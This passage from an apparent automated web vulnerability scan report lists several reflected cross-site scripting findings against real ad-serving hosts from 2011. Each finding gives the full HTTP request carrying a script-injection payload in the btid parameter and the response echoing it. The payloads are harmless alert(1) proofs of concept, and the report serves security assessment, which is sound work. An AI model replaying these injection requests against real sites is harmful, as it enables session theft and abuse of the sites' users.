Cookie: C4=; u2=8023169f-8dce-4de3-84d7-d5a4468633313HG09g; eyeblaster=FLV=10.2154&RES=128&WMPV=0; A3=iQQIaFx503Dk00000iZLfaFB607pd00001j4HbaE.a0a9y00001jcM0aFSa04m400000eDVwaDPh084o00001gY2paFS+09nl00003hH4jaFhv09wy00001jcL+aFTt04m400000hEI2aE.a09B400001jmnFaEUX09SF00002johvaFxN07uh00002hUDyaFGt0cbS00001i54CaFsN09MT00000eDVtaDP.084o00001jeoLaF6J07Hs00001j8QYaEBz07LU00001igT+aFh30cXt00001hUBuaFGt0cbS00001iBU1aEBz0aVU000019rW0aFGt04uw00001; B3=7.Wt0000000001ui9cTR0000000001uf8Dka0000000001uh9abz0000000000ui52BU0000000001ui8TfJ0000000001uh93M20000000001uf9kkO0000000000uj8OuK0000000000ui9kkN0000000000uj78Oj0000000001ud9qqo0000000002ui78O70000000001ud9gdG0000000001uh8z+.0000000001uh9pRI0000000002ug9iae0000000001uh7.Ws0000000001ui99y10000000001ui80Dr0000000003uj

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=iQQIaFx503Dk00000iZLfaFB607pd00001j4HbaE.a0a9y00001eDVwaDPh084o00001jcM0aFSa04m400000gY2paFS+09nl00003hH4jaFhv09wy00001jmnFaEUX09SF00002hEI2aE.a09B400001jcL+aFTt04m400000johvaFxN07uh00002i54CaFsN09MT00000hUDyaFGt0cbS00001j2fUaFWl07aw00001eDVtaDP.084o00001jeoLaF6J07Hs00001j8QYaEBz07LU00001hUBuaFGt0cbS00001igT+aFh30cXt000019rW0aFGt04uw00001iBU1aEBz0aVU00001; expires=Sat, 23-Jul-2011 15:49:47 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=7.Wt0000000001ui8Dka0000000001uh9cTR0000000001uf52BU0000000001ui9abz0000000000ui9eB50000000001uj8TfJ0000000001uh93M20000000001uf9kkO0000000000uj8OuK0000000000ui9kkN0000000000uj78Oj0000000001ud9qqo0000000002ui9gdG0000000001uh78O70000000001ud9pRI0000000002ug8z+.0000000001uh9iae0000000001uh80Dr0000000003uj99y10000000001ui7.Ws0000000001ui; expires=Sat, 23-Jul-2011 15:49:47 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 24 Apr 2011 19:49:46 GMT
Connection: close
Content-Length: 1705

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...
89944_4ac6be9c-d612-4283-b840-a9af68c73ada.js";ebO.fvp="Res/";ebO.dlm=1;ebO.bt=5;ebO.bv=10.000000;ebO.plt=9;ebO.ut=gEbUT;ebO.ifrm=1;ebO.oo=0;ebO.ifl="http://www.pcworld.com/eyeblaster/addineyeV2.html$$b1d44";alert(1)//f5b11ca5280&ncu=";ebO.pv="_4_5_0";ebBv="_2_2_11";ebO.rpv="_2_5_1";ebO.wv="_3_0_1";ebO.ta="-1";ebO.dg="21012";var ebIfrm=("1"=="1");var ebSrc=ebBigS+"eb"+ebO.tn+""+ebBv+".js";document.write("<scr"+"ipt src="+ebSrc
...[SNIP]...

6.57. http://cdn.w55c.net/i/0R99JaasWk_1847829791.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R99JaasWk_1847829791.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fac9c"><script>alert(1)</script>abbca37c72e was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0R99JaasWk_1847829791.html?rtbhost=rts-rr12.sldc.dataxu.net&btid=fac9c"><script>alert(1)</script>abbca37c72e&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRAAwAE_LoK5XuIHB0satALga2stUWRTt_29A&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEY2WXJBQmRPUA&ciu=MFI5OUphYXNXaw&reqid=NERCNDQwMDMwMDA0RkNCQTBBRTU3Qjg4MUMxRDJDNkE&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=331&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303676502&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658502295&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658502306&frm=1&adk=2614322350&ga_vid=880493158.1303658502&ga_sid=1303658502&ga_hid=2002983713&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=14
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:29:44 GMT
Cache-Control: no-cache, no-store
Pragma: no-cache
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 15:27:54 GMT
Accept-Ranges: bytes
Last-Modified: Mon, 04 Apr 2011 01:02:25 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 6595

<IFRAME SRC="http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.13;sz=160x600;pc=[TPAS_ID];ord=fac9c"><script>alert(1)</script>abbca37c72e?" WIDTH=160 HEIGHT=600 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

6.58. http://cdn.w55c.net/i/0R99JaasWk_1847829791.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R99JaasWk_1847829791.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1573"><script>alert(1)</script>5e566bb2303 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0R99JaasWk_1847829791.html?rtbhost=rts-rr12.sldc.dataxu.net&btid=NERCNDQwMDMwMDA0RkNCQTBBRTU3Qjg4MUMxRDJDNkF8R0ZUYjVIbUd5R3wxMzAzNjU4NTAxMzcyfDF8MEY2WXJBQmRPUHwwUjk5SmFhc1drfEVYXzEwMjM0NzcyMDZ8MzMxNjU1f1573"><script>alert(1)</script>5e566bb2303&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRAAwAE_LoK5XuIHB0satALga2stUWRTt_29A&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEY2WXJBQmRPUA&ciu=MFI5OUphYXNXaw&reqid=NERCNDQwMDMwMDA0RkNCQTBBRTU3Qjg4MUMxRDJDNkE&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=331&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303676502&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658502295&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658502306&frm=1&adk=2614322350&ga_vid=880493158.1303658502&ga_sid=1303658502&ga_hid=2002983713&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=14
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:29:42 GMT
Cache-Control: no-cache, no-store
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 15:27:39 GMT
Accept-Ranges: bytes
Last-Modified: Mon, 04 Apr 2011 01:02:25 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 7139

<IFRAME SRC="http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.13;sz=160x600;pc=[TPAS_ID];ord=NERCNDQwMDMwMDA0RkNCQTBBRTU3Qjg4MUMxRDJDNkF8R0ZUYjVIbUd5R3wxMzAzNjU4NTAxMzcyfDF8MEY2WXJBQmRPUHwwUj
...[SNIP]...
53.158901.DATAXU/B4970757.13;abr=!ie;sz=160x600;pc=[TPAS_ID];ord=NERCNDQwMDMwMDA0RkNCQTBBRTU3Qjg4MUMxRDJDNkF8R0ZUYjVIbUd5R3wxMzAzNjU4NTAxMzcyfDF8MEY2WXJBQmRPUHwwUjk5SmFhc1drfEVYXzEwMjM0NzcyMDZ8MzMxNjU1f1573"><script>alert(1)</script>5e566bb2303?">
...[SNIP]...

6.59. http://cdn.w55c.net/i/0R9ulNflD0_1008589149.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R9ulNflD0_1008589149.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82beb"><script>alert(1)</script>eb0ccffb874 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0R9ulNflD0_1008589149.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NERCNDQwN0QwMDBCRTk3ODBBRTU3MThFMjhCQzU4NkN8R0ZtQ2VPMHVRdnwxMzAzNjU4NjIzODE4fDF8MEZhWXZLM3ZQaHwwUjl1bE5mbEQwfEVYXzEwMjM0NzcyMDZ8MTgyNTk482beb"><script>alert(1)</script>eb0ccffb874&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRAfQAL6XgK5XGOKLxYbPmt5BBxSOnJCdA1hw&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZhWXZLM3ZQaA&ciu=MFI5dWxOZmxEMA&reqid=NERCNDQwN0QwMDBCRTk3ODBBRTU3MThFMjhCQzU4NkM&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=182&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303676624&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658624768&shv=r20110420&jsv=r20110415&saldr=1&correlator=1303658624770&frm=1&adk=2614322350&ga_vid=2012220246.1303658625&ga_sid=1303658625&ga_hid=284855663&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&eid=33895130&fu=4&ifi=1&dtd=5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:30:48 GMT
Cache-Control: no-cache, no-store
Pragma: no-cache
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 15:30:33 GMT
Accept-Ranges: bytes
Last-Modified: Thu, 31 Mar 2011 15:08:20 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 1709

<iframe src="http://view.atdmt.com/DEI/iview/310322587/direct/01/NERCNDQwN0QwMDBCRTk3ODBBRTU3MThFMjhCQzU4NkN8R0ZtQ2VPMHVRdnwxMzAzNjU4NjIzODE4fDF8MEZhWXZLM3ZQaHwwUjl1bE5mbEQwfEVYXzEwMjM0NzcyMDZ8MTgyNTk
...[SNIP]...
rder="0" src="http://view.atdmt.com/DEI/view/310322587/direct/01/NERCNDQwN0QwMDBCRTk3ODBBRTU3MThFMjhCQzU4NkN8R0ZtQ2VPMHVRdnwxMzAzNjU4NjIzODE4fDF8MEZhWXZLM3ZQaHwwUjl1bE5mbEQwfEVYXzEwMjM0NzcyMDZ8MTgyNTk482beb"><script>alert(1)</script>eb0ccffb874NERCNDQwN0QwMDBCRTk3ODBBRTU3MThFMjhCQzU4NkN8R0ZtQ2VPMHVRdnwxMzAzNjU4NjIzODE4fDF8MEZhWXZLM3ZQaHwwUjl1bE5mbEQwfEVYXzEwMjM0NzcyMDZ8MTgyNTk482beb">
...[SNIP]...

6.60. http://cdn.w55c.net/i/0R9ulNflD0_1008589149.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R9ulNflD0_1008589149.html

Issue detail

The value of the btid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3a64'%3balert(1)//ae337808dd9 was submitted in the btid parameter. This input was echoed as d3a64';alert(1)//ae337808dd9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0R9ulNflD0_1008589149.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NERCNDQwN0QwMDBCRTk3ODBBRTU3MThFMjhCQzU4NkN8R0ZtQ2VPMHVRdnwxMzAzNjU4NjIzODE4fDF8MEZhWXZLM3ZQaHwwUjl1bE5mbEQwfEVYXzEwMjM0NzcyMDZ8MTgyNTk4d3a64'%3balert(1)//ae337808dd9&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRAfQAL6XgK5XGOKLxYbPmt5BBxSOnJCdA1hw&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZhWXZLM3ZQaA&ciu=MFI5dWxOZmxEMA&reqid=NERCNDQwN0QwMDBCRTk3ODBBRTU3MThFMjhCQzU4NkM&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=182&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303676624&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658624768&shv=r20110420&jsv=r20110415&saldr=1&correlator=1303658624770&frm=1&adk=2614322350&ga_vid=2012220246.1303658625&ga_sid=1303658625&ga_hid=284855663&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&eid=33895130&fu=4&ifi=1&dtd=5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:30:51 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Thu, 31 Mar 2011 15:08:20 GMT
Date: Sun, 24 Apr 2011 14:32:13 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 1619

<iframe src="http://view.atdmt.com/DEI/iview/310322587/direct/01/NERCNDQwN0QwMDBCRTk3ODBBRTU3MThFMjhCQzU4NkN8R0ZtQ2VPMHVRdnwxMzAzNjU4NjIzODE4fDF8MEZhWXZLM3ZQaHwwUjl1bE5mbEQwfEVYXzEwMjM0NzcyMDZ8MTgyNTk
...[SNIP]...
<img src="http://view.atdmt.com/DEI/view/310322587/direct/01/NERCNDQwN0QwMDBCRTk3ODBBRTU3MThFMjhCQzU4NkN8R0ZtQ2VPMHVRdnwxMzAzNjU4NjIzODE4fDF8MEZhWXZLM3ZQaHwwUjl1bE5mbEQwfEVYXzEwMjM0NzcyMDZ8MTgyNTk4d3a64';alert(1)//ae337808dd9NERCNDQwN0QwMDBCRTk3ODBBRTU3MThFMjhCQzU4NkN8R0ZtQ2VPMHVRdnwxMzAzNjU4NjIzODE4fDF8MEZhWXZLM3ZQaHwwUjl1bE5mbEQwfEVYXzEwMjM0NzcyMDZ8MTgyNTk4d3a64';alert(1)//ae337808dd9"/>
...[SNIP]...

6.61. http://cdn.w55c.net/i/0R9ulNflD0_1008589149.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R9ulNflD0_1008589149.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abee7"><script>alert(1)</script>75e8d840e7f was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0R9ulNflD0_1008589149.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=abee7"><script>alert(1)</script>75e8d840e7f&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRAfQAL6XgK5XGOKLxYbPmt5BBxSOnJCdA1hw&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZhWXZLM3ZQaA&ciu=MFI5dWxOZmxEMA&reqid=NERCNDQwN0QwMDBCRTk3ODBBRTU3MThFMjhCQzU4NkM&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=182&zc=NzUyMDc&v=0&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303676624&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658624768&shv=r20110420&jsv=r20110415&saldr=1&correlator=1303658624770&frm=1&adk=2614322350&ga_vid=2012220246.1303658625&ga_sid=1303658625&ga_hid=284855663&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&eid=33895130&fu=4&ifi=1&dtd=5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:30:50 GMT
Cache-Control: no-cache, no-store
Pragma: no-cache
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Date: Sun, 24 Apr 2011 15:29:54 GMT
Accept-Ranges: bytes
Last-Modified: Thu, 31 Mar 2011 15:08:20 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 893

<iframe src="http://view.atdmt.com/DEI/iview/310322587/direct/01/abee7"><script>alert(1)</script>75e8d840e7f/abee7"><script>alert(1)</script>75e8d840e7f?click=" frameborder="0" scrolling="no" marginhe
...[SNIP]...

6.62. http://cdn.w55c.net/i/0RDMd2Pp56_1855871382.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RDMd2Pp56_1855871382.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5b90"><script>alert(1)</script>a60423299b9 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0RDMd2Pp56_1855871382.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NERCNDNGREUwMDBBMzc5ODBBRTU3RUNEMkE2ODc2QjR8R0YyY1FkMmI1VXwxMzAzNjU4NDY0NzM4fDF8MEY5OXBpbjNianwwUkRNZDJQcDU2fEVYXzEwMjM0NzcyMDZ8Mjk5Njc1c5b90"><script>alert(1)</script>a60423299b9&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbQ_3gAKN5gK5X7NKmh2tAAE_twCii5ctWtVYQ&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEY5OXBpbjNiag&ciu=MFJETWQyUHA1Ng&reqid=NERCNDNGREUwMDBBMzc5ODBBRTU3RUNEMkE2ODc2QjQ&ccw=SUFCMSMwLjB8SUFCOCMwLjA&bp=299&zc=NzUyMDc&v=0&s=http%3A%2F%2F& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_a.php%3Fsearch%3D%7B%24keyword%7D&dt=1303658465628&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303658465633&frm=1&adk=2614322350&ga_vid=256767513.1303658466&ga_sid=1303658466&ga_hid=375503836&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3901296887&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 15:27:15 GMT
Cache-Control: no-cache, no-store
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Mon, 07 Mar 2011 14:26:38 GMT
Date: Sun, 24 Apr 2011 15:19:22 GMT
Server: w55c.net
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.0 cdn.w55c.net (MII JProxy)
Pragma: no-cache
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 965

<SCRIPT language='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N4270.158901.DATAXU/B5279322.4;sz=160x600;pc=[TPAS_ID];ord=NERCNDNGREUwMDBBMzc5ODBBRTU3RUNEMkE2ODc2QjR8R0YyY1FkMmI1VXwxMzAzNjU4NDY0NzM4fDF8MEY5OXBpbjNianwwUkRNZDJQcDU2fEVYXzEwMjM0NzcyMDZ8Mjk5Njc1c5b90"><script>alert(1)</script>a60423299b9?">
...[SNIP]...

6.63. http://cdn.w55c.net/i/0RES95J3Zo_918427505.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RES95J3Zo_918427505.html

Issue detail

The value of the btid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e7c8"><script>alert(1)</script>b7455b3da66 was submitted in the btid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

